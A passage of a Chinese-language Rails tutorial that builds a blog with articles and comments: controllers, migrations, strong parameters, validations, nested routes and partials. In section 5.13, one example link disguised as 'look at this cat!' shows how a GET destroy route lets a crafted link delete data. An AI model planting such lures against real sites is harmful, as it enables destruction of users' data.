要消除“未知动作”错误,我们需要修改 app/controllers/articles_controller.rb 文件,在 ArticlesController 类的 new 动作之后添加 create 动作,就像下面这样:

+
+class ArticlesController < ApplicationController
+  def new
+  end
+
+  def create
+  end
+end
+
+
+
+

现在重新提交表单,会看到什么都没有改变。别着急!这是因为当我们没有说明动作的响应是什么时,Rails 默认返回 204 No Content response。我们刚刚添加了 create 动作,但没有说明响应是什么。这里,create 动作应该把新建文章保存到数据库中。

表单提交后,其字段以参数形式传递给 Rails,然后就可以在控制器动作中引用这些参数,以执行特定任务。要想查看这些参数的内容,可以把 create 动作的代码修改成下面这样:

+
+def create
+  render plain: params[:article].inspect
+end
+
+
+
+

这里 render 方法接受了一个简单的散列(hash)作为参数,:plain 键的值是 params[:article].inspectparams 方法是代表表单提交的参数(或字段)的对象。params 方法返回 ActionController::Parameters 对象,这个对象允许使用字符串或符号访问散列的键。这里我们只关注通过表单提交的参数。

请确保牢固掌握 params 方法,这个方法很常用。让我们看一个示例 URL:http://www.example.com/?username=dhh&email=dhh@email.com。在这个 URL 中,params[:username] 的值是“dhh”,params[:email] 的值是“dhh@email.com”。

如果再次提交表单,就不会再看到缺少模板错误,而是会看到下面这些内容:

+
+<ActionController::Parameters {"title"=>"First Article!", "text"=>"This is my first article."} permitted: false>
+
+
+
+

create 动作把表单提交的参数都显示出来了,但这并没有什么用,只是看到了参数实际上却什么也没做。

5.4 创建 Article 模型

在 Rails 中,模型使用单数名称,对应的数据库表使用复数名称。Rails 提供了用于创建模型的生成器,大多数 Rails 开发者在新建模型时倾向于使用这个生成器。要想新建模型,请执行下面的命令:

+
+$ bin/rails generate model Article title:string text:text
+
+
+
+

上面的命令告诉 Rails 创建 Article 模型,并使模型具有字符串类型的 title 属性和文本类型的 text 属性。这两个属性会自动添加到数据库的 articles 表中,并映射到 Article 模型上。

为此 Rails 会创建一堆文件。这里我们只关注 app/models/article.rbdb/migrate/20140120191729_create_articles.rb 这两个文件 (后面这个文件名和你看到的可能会有点不一样)。后者负责创建数据库结构,下一节会详细说明。

Active Record 很智能,能自动把数据表的字段名映射到模型属性上,因此无需在 Rails 模型中声明属性,让 Active Record 自动完成即可。

5.5 运行迁移

如前文所述,bin/rails generate model 命令会在 db/migrate 文件夹中生成数据库迁移文件。迁移是用于简化创建和修改数据库表操作的 Ruby 类。Rails 使用 rake 命令运行迁移,并且在迁移作用于数据库之后还可以撤销迁移操作。迁移的文件名包含了时间戳,以确保迁移按照创建时间顺序运行。

让我们看一下 db/migrate/YYYYMMDDHHMMSS_create_articles.rb 文件(记住,你的文件名可能会有点不一样),会看到下面的内容:

+
+class CreateArticles < ActiveRecord::Migration[5.0]
+  def change
+    create_table :articles do |t|
+      t.string :title
+      t.text :text
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

上面的迁移创建了 change 方法,在运行迁移时会调用这个方法。在 change 方法中定义的操作都是可逆的,在需要时 Rails 知道如何撤销这些操作。运行迁移后会创建 articles 表,这个表包括一个字符串字段和一个文本字段,以及两个用于跟踪文章创建和更新时间的时间戳字段。

关于迁移的更多介绍,请参阅Active Record 迁移

现在可以使用 bin/rails 命令运行迁移了:

+
+$ bin/rails db:migrate
+
+
+
+

Rails 会执行迁移命令并告诉我们它创建了 Articles 表。

+
+==  CreateArticles: migrating ==================================================
+-- create_table(:articles)
+   -> 0.0019s
+==  CreateArticles: migrated (0.0020s) =========================================
+
+
+
+

因为默认情况下我们是在开发环境中工作,所以上述命令应用于 config/database.yml 文件中 development 部分定义的的数据库。要想在其他环境中执行迁移,例如生产环境,就必须在调用命令时显式传递环境变量:bin/rails db:migrate RAILS_ENV=production

5.6 在控制器中保存数据

回到 ArticlesController,修改 create 动作,使用新建的 Article 模型把数据保存到数据库。打开 app/controllers/articles_controller.rb 文件,像下面这样修改 create 动作:

+
+def create
+  @article = Article.new(params[:article])
+
+  @article.save
+  redirect_to @article
+end
+
+
+
+

让我们看一下上面的代码都做了什么:Rails 模型可以用相应的属性初始化,它们会自动映射到对应的数据库字段。create 动作中的第一行代码完成的就是这个操作(记住,params[:article] 包含了我们想要的属性)。接下来 @article.save 负责把模型保存到数据库。最后把页面重定向到 show 动作,这个 show 动作我们稍后再定义。

你可能想知道,为什么在上面的代码中 Article.newA 是大写的,而在本文的其他地方引用 articles 时大都是小写的。因为这里我们引用的是在 app/models/article.rb 文件中定义的 Article 类,而在 Ruby 中类名必须以大写字母开头。

之后我们会看到,@article.save 返回布尔值,以表明文章是否保存成功。

现在访问 http://localhost:3000/articles/new,我们就快要能够创建文章了,但我们还会看到下面的错误:

禁用属性错误

Rails 提供了多种安全特性来帮助我们编写安全的应用,上面看到的就是一种安全特性。这个安全特性叫做 健壮参数(strong parameter),要求我们明确地告诉 Rails 哪些参数允许在控制器动作中使用。

为什么我们要这样自找麻烦呢?一次性获取所有控制器参数并自动赋值给模型显然更简单,但这样做会造成恶意使用的风险。设想一下,如果有人对服务器发起了一个精心设计的请求,看起来就像提交了一篇新文章,但同时包含了能够破坏应用完整性的额外字段和值,会怎么样?这些恶意数据会批量赋值给模型,然后和正常数据一起进入数据库,这样就有可能破坏我们的应用或者造成更大损失。

所以我们只能为控制器参数设置白名单,以避免错误地批量赋值。这里,我们想在 create 动作中合法使用 titletext 参数,为此需要使用 requirepermit 方法。像下面这样修改 create 动作中的一行代码:

+
+@article = Article.new(params.require(:article).permit(:title, :text))
+
+
+
+

上述代码通常被抽象为控制器类的一个方法,以便在控制器的多个动作中重用,例如在 createupdate 动作中都会用到。除了批量赋值问题,为了禁止从外部调用这个方法,通常还要把它设置为 private。最后的代码像下面这样:

+
+def create
+  @article = Article.new(article_params)
+
+  @article.save
+  redirect_to @article
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+
+
+
+

关于键壮参数的更多介绍,请参阅上面提供的参考资料和这篇博客

5.7 显示文章

现在再次提交表单,Rails 会提示找不到 show 动作。尽管这个提示没有多大用处,但在继续前进之前我们还是先添加 show 动作吧。

之前我们在 bin/rails routes 命令的输出结果中看到,show 动作对应的路由是:

+
+article GET    /articles/:id(.:format)      articles#show
+
+
+
+

特殊句法 :id 告诉 Rails 这个路由期望接受 :id 参数,在这里也就是文章的 ID。

和前面一样,我们需要在 app/controllers/articles_controller.rb 文件中添加 show 动作,并创建对应的视图文件。

常见的做法是按照以下顺序在控制器中放置标准的 CRUD 动作:indexshowneweditcreateupdatedestroy。你也可以按照自己的顺序放置这些动作,但要记住它们都是公开方法,如前文所述,必须放在控制器的私有方法或受保护的方法之前才能正常工作。

有鉴于此,让我们像下面这样添加 show 动作:

+
+class ArticlesController < ApplicationController
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+  end
+
+  # 为了行文简洁,省略以下内容
+
+
+
+

上面的代码中有几个问题需要注意。我们使用 Article.find 来查找文章,并传入 params[:id] 以便从请求中获得 :id 参数。我们还使用实例变量(前缀为 @)保存对文章对象的引用。这样做是因为 Rails 会把所有实例变量传递给视图。

现在新建 app/views/articles/show.html.erb 文件,添加下面的代码:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+
+
+

通过上面的修改,我们终于能够新建文章了。访问 http://localhost:3000/articles/new,自己试一试吧!

显示文章

5.8 列出所有文章

我们还需要列出所有文章,下面就来完成这个功能。在 bin/rails routes 命令的输出结果中,和列出文章对应的路由是:

+
+articles GET    /articles(.:format)          articles#index
+
+
+
+

app/controllers/articles_controller.rb 文件的 ArticlesController 中为上述路由添加对应的 index 动作。在编写 index 动作时,常见的做法是把它作为控制器的第一个方法,就像下面这样:

+
+class ArticlesController < ApplicationController
+  def index
+    @articles = Article.all
+  end
+
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+  end
+
+  # 为了行文简洁,省略以下内容
+
+
+
+

最后,在 app/views/articles/index.html.erb 文件中为 index 动作添加视图:

+
+<h1>Listing articles</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+    </tr>
+  <% end %>
+</table>
+
+
+
+

现在访问 http://localhost:3000/articles,会看到已创建的所有文章的列表。

5.9 添加链接

至此,我们可以创建、显示、列出文章了。下面我们添加一些指向这些页面的链接。

打开 app/views/welcome/index.html.erb 文件,修改成下面这样:

+
+<h1>Hello, Rails!</h1>
+<%= link_to 'My Blog', controller: 'articles' %>
+
+
+
+

link_to 方法是 Rails 内置的视图辅助方法之一,用于创建基于链接文本和地址的超链接。在这里地址指的是文章列表页面的路径。

接下来添加指向其他视图的链接。首先在 app/views/articles/index.html.erb 文件中添加“New Article”链接,把这个链接放在 <table> 标签之前:

+
+<%= link_to 'New article', new_article_path %>
+
+
+
+

点击这个链接会打开用于新建文章的表单。

接下来在 app/views/articles/new.html.erb 文件中添加返回 index 动作的链接,把这个链接放在表单之后:

+
+<%= form_for :article, url: articles_path do |f| %>
+  ...
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

最后,在 app/views/articles/show.html.erb 模板中添加返回 index 动作的链接,这样用户看完一篇文章后就可以返回文章列表页面了:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

链接到当前控制器的动作时不需要指定 :controller 选项,因为 Rails 默认使用当前控制器。

在开发环境中(默认情况下我们是在开发环境中工作),Rails 针对每个浏览器请求都会重新加载应用,因此对应用进行修改之后不需要重启服务器。

5.10 添加验证

app/models/article.rb 模型文件简单到只有两行代码:

+
+class Article < ApplicationRecord
+end
+
+
+
+

虽然这个文件中代码很少,但请注意 Article 类继承自 ApplicationRecord 类,而 ApplicationRecord 类继承自 ActiveRecord::Base 类。正是 ActiveRecord::Base 类为 Rails 模型提供了大量功能,包括基本的数据库 CRUD 操作(创建、读取、更新、删除)、数据验证,以及对复杂搜索的支持和关联多个模型的能力。

Rails 提供了许多方法用于验证传入模型的数据。打开 app/models/article.rb 文件,像下面这样修改:

+
+class Article < ApplicationRecord
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+
+
+
+

添加的代码用于确保每篇文章都有标题,并且标题长度不少于 5 个字符。在 Rails 模型中可以验证多种条件,包括字段是否存在、字段是否唯一、字段的格式、关联对象是否存在,等等。关于验证的更多介绍,请参阅active_record_validations.xml

现在验证已经添加完毕,如果我们在调用 @article.save 时传递了无效的文章数据,验证就会返回 false。再次打开 app/controllers/articles_controller.rb 文件,会看到我们并没有在 create 动作中检查 @article.save 的调用结果。在这里如果 @article.save 失败了,就需要把表单再次显示给用户。为此,需要像下面这样修改 app/controllers/articles_controller.rb 文件中的 newcreate 动作:

+
+def new
+  @article = Article.new
+end
+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+
+
+
+

在上面的代码中,我们在 new 动作中创建了新的实例变量 @article,稍后你就会知道为什么要这样做。

注意在 create 动作中,当 save 返回 false 时,我们用 render 代替了 redirect_to。使用 render 方法是为了把 @article 对象回传给 new 模板。这里渲染操作是在提交表单的这个请求中完成的,而 redirect_to 会告诉浏览器发起另一个请求。

刷新 http://localhost:3000/articles/new,试着提交一篇没有标题的文章,Rails 会返回这个表单,但这种处理方式没有多大用处,更好的做法是告诉用户哪里出错了。为此需要修改 app/views/articles/new.html.erb 文件,添加显示错误信息的代码:

+
+<%= form_for :article, url: articles_path do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
+  <% end %>
+
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

上面我们添加了一些代码。我们使用 @article.errors.any? 检查是否有错误,如果有错误就使用 @article.errors.full_messages 列出所有错误信息。

pluralize 是 Rails 提供的辅助方法,接受一个数字和一个字符串作为参数。如果数字比 1 大,字符串会被自动转换为复数形式。

ArticlesController 中添加 @article = Article.new 是因为如果不这样做,在视图中 @article 的值就会是 nil,这样在调用 @article.errors.any? 时就会抛出错误。

Rails 会自动用 div 包围含有错误信息的字段,并为这些 div 添加 field_with_errors 类。我们可以定义 CSS 规则突出显示错误信息。

当我们再次访问 http://localhost:3000/articles/new,试着提交一篇没有标题的文章,就会看到友好的错误信息。

出错的表单

5.11 更新文章

我们已经介绍了 CRUD 操作中的“CR”两种操作,下面让我们看一下“U”操作,也就是更新文章。

第一步要在 ArticlesController 中添加 edit 动作,通常把这个动作放在 new 动作和 create 动作之间,就像下面这样:

+
+def new
+  @article = Article.new
+end
+
+def edit
+  @article = Article.find(params[:id])
+end
+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+
+
+

接下来在视图中添加一个表单,这个表单类似于前文用于新建文章的表单。创建 app/views/articles/edit.html.erb 文件,添加下面的代码:

+
+<h1>Editing article</h1>
+
+<%= form_for :article, url: article_path(@article), method: :patch do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
+  <% end %>
+
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

上面的代码把表单指向了 update 动作,这个动作稍后我们再来定义。

method: :patch 选项告诉 Rails 使用 PATCH 方法提交表单。根据 REST 协议,PATCH 方法是更新资源时使用的 HTTP 方法。

form_for 辅助方法的第一个参数可以是对象,例如 @articleform_for 辅助方法会用这个对象的字段来填充表单。如果传入和实例变量(@article)同名的符号(:article),也会自动产生相同效果,上面的代码使用的就是符号。关于 form_for 辅助方法参数的更多介绍,请参阅 form_for 的文档

接下来在 app/controllers/articles_controller.rb 文件中创建 update 动作,把这个动作放在 create 动作和 private 方法之间:

+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+def update
+  @article = Article.find(params[:id])
+
+  if @article.update(article_params)
+    redirect_to @article
+  else
+    render 'edit'
+  end
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+
+
+
+

update 动作用于更新已有记录,它接受一个散列作为参数,散列中包含想要更新的属性。和之前一样,如果更新文章时发生错误,就需要把表单再次显示给用户。

上面的代码重用了之前为 create 动作定义的 article_params 方法。

不用把所有属性都传递给 update 方法。例如,调用 @article.update(title: 'A new title') 时,Rails 只更新 title 属性而不修改其他属性。

最后,我们想在文章列表中显示指向 edit 动作的链接。打开 app/views/articles/index.html.erb 文件,在 Show 链接后面添加 Edit 链接:

+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th colspan="2"></th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+      <td><%= link_to 'Edit', edit_article_path(article) %></td>
+    </tr>
+  <% end %>
+</table>
+
+
+
+

接着在 app/views/articles/show.html.erb 模板中添加 Edit 链接,这样文章页面也有 Edit 链接了。把这个链接添加到模板底部:

+
+...
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+
+
+
+

下面是文章列表现在的样子:

文章列表

5.12 使用局部视图去掉视图中的重复代码

编辑文章页面和新建文章页面看起来很相似,实际上这两个页面用于显示表单的代码是相同的。现在我们要用局部视图来去掉这些重复代码。按照约定,局部视图的文件名以下划线开头。

关于局部视图的更多介绍,请参阅Rails 布局和视图渲染

新建 app/views/articles/_form.html.erb 文件,添加下面的代码:

+
+<%= form_for @article do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
+  <% end %>
+
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+
+<% end %>
+
+
+
+

除了第一行 form_for 的用法变了之外,其他代码都和之前一样。之所以能用这个更短、更简单的 form_for 声明来代替新建文章页面和编辑文章页面的两个表单,是因为 @article 是一个资源,对应于一套 REST 式路由,Rails 能够推断出应该使用哪个地址和方法。关于 form_for 用法的更多介绍,请参阅“面向资源的风格”。

现在更新 app/views/articles/new.html.erb 视图,以使用新建的局部视图。把文件内容替换为下面的代码:

+
+<h1>New article</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

然后按照同样的方法修改 app/views/articles/edit.html.erb 视图:

+
+<h1>Edit article</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

5.13 删除文章

现在该介绍 CRUD 中的“D”操作了,也就是从数据库删除文章。按照 REST 架构的约定,在 bin/rails routes 命令的输出结果中删除文章的路由是:

+
+DELETE /articles/:id(.:format)      articles#destroy
+
+
+
+

删除资源的路由应该使用 delete 路由方法。如果在删除资源时仍然使用 get 路由,就可能给那些设计恶意地址的人提供可乘之机:

+
+<a href='http://example.com/articles/1/destroy'>look at this cat!</a>
+
+
+
+

我们用 delete 方法来删除资源,对应的路由会映射到 app/controllers/articles_controller.rb 文件中的 destroy 动作,稍后我们要创建这个动作。destroy 动作是控制器中的最后一个 CRUD 动作,和其他公共 CRUD 动作一样,这个动作应该放在 privateprotected 方法之前。打开 app/controllers/articles_controller.rb 文件,添加下面的代码:

+
+def destroy
+  @article = Article.find(params[:id])
+  @article.destroy
+
+  redirect_to articles_path
+end
+
+
+
+

app/controllers/articles_controller.rb 文件中,ArticlesController 的完整代码应该像下面这样:

+
+class ArticlesController < ApplicationController
+  def index
+    @articles = Article.all
+  end
+
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+    @article = Article.new
+  end
+
+  def edit
+    @article = Article.find(params[:id])
+  end
+
+  def create
+    @article = Article.new(article_params)
+
+    if @article.save
+      redirect_to @article
+    else
+      render 'new'
+    end
+  end
+
+  def update
+    @article = Article.find(params[:id])
+
+    if @article.update(article_params)
+      redirect_to @article
+    else
+      render 'edit'
+    end
+  end
+
+  def destroy
+    @article = Article.find(params[:id])
+    @article.destroy
+
+    redirect_to articles_path
+  end
+
+  private
+    def article_params
+      params.require(:article).permit(:title, :text)
+    end
+end
+
+
+
+

在 Active Record 对象上调用 destroy 方法,就可从数据库中删除它们。注意,我们不需要为 destroy 动作添加视图,因为完成操作后它会重定向到 index 动作。

最后,在 index 动作的模板(app/views/articles/index.html.erb)中加上“Destroy”链接,这样就大功告成了:

+
+<h1>Listing Articles</h1>
+<%= link_to 'New article', new_article_path %>
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th colspan="3"></th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+      <td><%= link_to 'Edit', edit_article_path(article) %></td>
+      <td><%= link_to 'Destroy', article_path(article),
+              method: :delete,
+              data: { confirm: 'Are you sure?' } %></td>
+    </tr>
+  <% end %>
+</table>
+
+
+
+

在上面的代码中,link_to 辅助方法生成“Destroy”链接的用法有点不同,其中第二个参数是具名路由(named route),还有一些选项作为其他参数。method: :deletedata: { confirm: 'Are you sure?' } 选项用于设置链接的 HTML5 属性,这样点击链接后 Rails 会先向用户显示一个确认对话框,然后用 delete 方法发起请求。这些操作是通过 JavaScript 脚本 jquery_ujs 实现的,这个脚本在生成应用骨架时已经被自动包含在了应用的布局中(app/views/layouts/application.html.erb)。如果没有这个脚本,确认对话框就无法显示。

确认对话框

关于 jQuery 非侵入式适配器(jQuery UJS)的更多介绍,请参阅在 Rails 中使用 JavaScript

恭喜你!现在你已经可以创建、显示、列出、更新和删除文章了!

通常 Rails 鼓励用资源对象来代替手动声明路由。关于路由的更多介绍,请参阅Rails 路由全解

6 添加第二个模型

现在是为应用添加第二个模型的时候了。这个模型用于处理文章评论。

6.1 生成模型

接下来将要使用的生成器,和之前用于创建 Article 模型的一样。这次我们要创建 Comment 模型,用于保存文章评论。在终端中执行下面的命令:

+
+$ bin/rails generate model Comment commenter:string body:text article:references
+
+
+
+

上面的命令会生成 4 个文件:

+ + + + + + + + + + + + + + + + + + + + + + + + + +
文件用途
db/migrate/20140120201010_create_comments.rb用于在数据库中创建 comments 表的迁移文件(你的文件名会包含不同的时间戳)
app/models/comment.rbComment 模型文件
test/models/comment_test.rbComment 模型的测试文件
test/fixtures/comments.yml用于测试的示例评论
+

首先看一下 app/models/comment.rb 文件:

+
+class Comment < ApplicationRecord
+  belongs_to :article
+end
+
+
+
+

可以看到,Comment 模型文件的内容和之前的 Article 模型差不多,仅仅多了一行 belongs_to :article,这行代码用于建立 Active Record 关联。下一节会简单介绍关联。

在上面的 Bash 命令中使用的 :references 关键字是一种特殊的模型数据类型,用于在数据表中新建字段。这个字段以提供的模型名加上 _id 后缀作为字段名,保存整数值。之后通过分析 db/schema.rb 文件可以更好地理解这些内容。

除了模型文件,Rails 还生成了迁移文件,用于创建对应的数据表:

+
+class CreateComments < ActiveRecord::Migration[5.0]
+  def change
+    create_table :comments do |t|
+      t.string :commenter
+      t.text :body
+      t.references :article, foreign_key: true
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

t.references 这行代码创建 article_id 整数字段,为这个字段建立索引,并建立指向 articles 表的 id 字段的外键约束。下面运行这个迁移:

+
+$ bin/rails db:migrate
+
+
+
+

Rails 很智能,只会运行针对当前数据库还没有运行过的迁移,运行结果像下面这样:

+
+==  CreateComments: migrating =================================================
+-- create_table(:comments)
+   -> 0.0115s
+==  CreateComments: migrated (0.0119s) ========================================
+
+
+
+

6.2 模型关联

Active Record 关联让我们可以轻易地声明两个模型之间的关系。对于评论和文章,我们可以像下面这样声明:

+
    +
  • 每一条评论都属于某一篇文章

  • +
  • 一篇文章可以有多条评论

  • +
+

实际上,这种表达方式和 Rails 用于声明模型关联的句法非常接近。前文我们已经看过 Comment 模型中用于声明模型关联的代码,这行代码用于声明每一条评论都属于某一篇文章:

+
+class Comment < ApplicationRecord
+  belongs_to :article
+end
+
+
+
+

现在修改 app/models/article.rb 文件来添加模型关联的另一端:

+
+class Article < ApplicationRecord
+  has_many :comments
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+
+
+
+

这两行声明能够启用一些自动行为。例如,如果 @article 实例变量表示一篇文章,就可以使用 @article.comments 以数组形式取回这篇文章的所有评论。

关于模型关联的更多介绍,请参阅Active Record 关联

6.3 为评论添加路由

welcome 控制器一样,在添加路由之后 Rails 才知道在哪个地址上查看评论。再次打开 config/routes.rb 文件,像下面这样进行修改:

+
+resources :articles do
+  resources :comments
+end
+
+
+
+

上面的代码在 articles 资源中创建 comments 资源,这种方式被称为嵌套资源。这是表明文章和评论之间层级关系的另一种方式。

关于路由的更多介绍,请参阅Rails 路由全解

6.4 生成控制器

有了模型,下面应该创建对应的控制器了。还是使用前面用过的生成器:

+
+$ bin/rails generate controller Comments
+
+
+
+

上面的命令会创建 5 个文件和一个空文件夹:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
文件/文件夹用途
app/controllers/comments_controller.rbComments 控制器文件
app/views/comments/控制器的视图保存在这里
test/controllers/comments_controller_test.rb控制器的测试文件
app/helpers/comments_helper.rb视图辅助方法文件
app/assets/javascripts/comment.coffee控制器的 CoffeeScript 文件
app/assets/stylesheets/comment.scss控制器的样式表文件
+

在博客中,读者看完文章后可以直接发表评论,并且马上可以看到这些评论是否在页面上显示出来了。我们的博客采取同样的设计。这里 CommentsController 需要提供创建评论和删除垃圾评论的方法。

首先修改显示文章的模板(app/views/articles/show.html.erb),添加发表评论的功能:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+
+
+
+

上面的代码在显示文章的页面中添加了用于新建评论的表单,通过调用 CommentsControllercreate 动作来发表评论。这里 form_for 辅助方法以数组为参数,会创建嵌套路由,例如 /articles/1/comments

接下来在 app/controllers/comments_controller.rb 文件中添加 create 动作:

+
+class CommentsController < ApplicationController
+  def create
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
+  end
+
+  private
+    def comment_params
+      params.require(:comment).permit(:commenter, :body)
+    end
+end
+
+
+
+

上面的代码比 Articles 控制器的代码复杂得多,这是嵌套带来的副作用。对于每一个发表评论的请求,都必须记录这条评论属于哪篇文章,因此需要在 Article 模型上调用 find 方法来获取文章对象。

此外,上面的代码还利用了关联特有的方法,在 @article.comments 上调用 create 方法来创建和保存评论,同时自动把评论和对应的文章关联起来。

添加评论后,我们使用 article_path(@article) 辅助方法把用户带回原来的文章页面。如前文所述,这里调用了 ArticlesControllershow 动作来渲染 show.html.erb 模板,因此需要修改 app/views/articles/show.html.erb 文件来显示评论:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<% @article.comments.each do |comment| %>
+  <p>
+    <strong>Commenter:</strong>
+    <%= comment.commenter %>
+  </p>
+
+  <p>
+    <strong>Comment:</strong>
+    <%= comment.body %>
+  </p>
+<% end %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+
+
+
+

现在可以在我们的博客中为文章添加评论了,评论添加后就会显示在正确的位置上。

带有评论的文章

7 重构

现在博客的文章和评论都已经正常工作,打开 app/views/articles/show.html.erb 文件,会看到文件代码变得又长又不美观。因此下面我们要用局部视图来重构代码。

7.1 渲染局部视图集合

首先创建评论的局部视图,把显示文章评论的代码抽出来。创建 app/views/comments/_comment.html.erb 文件,添加下面的代码:

+
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+
+
+

然后像下面这样修改 app/views/articles/show.html.erb 文件:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @article.comments %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+
+
+
+

这样对于 @article.comments 集合中的每条评论,都会渲染 app/views/comments/_comment.html.erb 文件中的局部视图。render 方法会遍历 @article.comments 集合,把每条评论赋值给局部视图中的同名局部变量,也就是这里的 comment 变量。

7.2 渲染局部视图表单

我们把添加评论的代码也移到局部视图中。创建 app/views/comments/_form.html.erb 文件,添加下面的代码:

+
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+
+
+

然后像下面这样修改 app/views/articles/show.html.erb 文件:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @article.comments %>
+
+<h2>Add a comment:</h2>
+<%= render 'comments/form' %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+
+
+
+

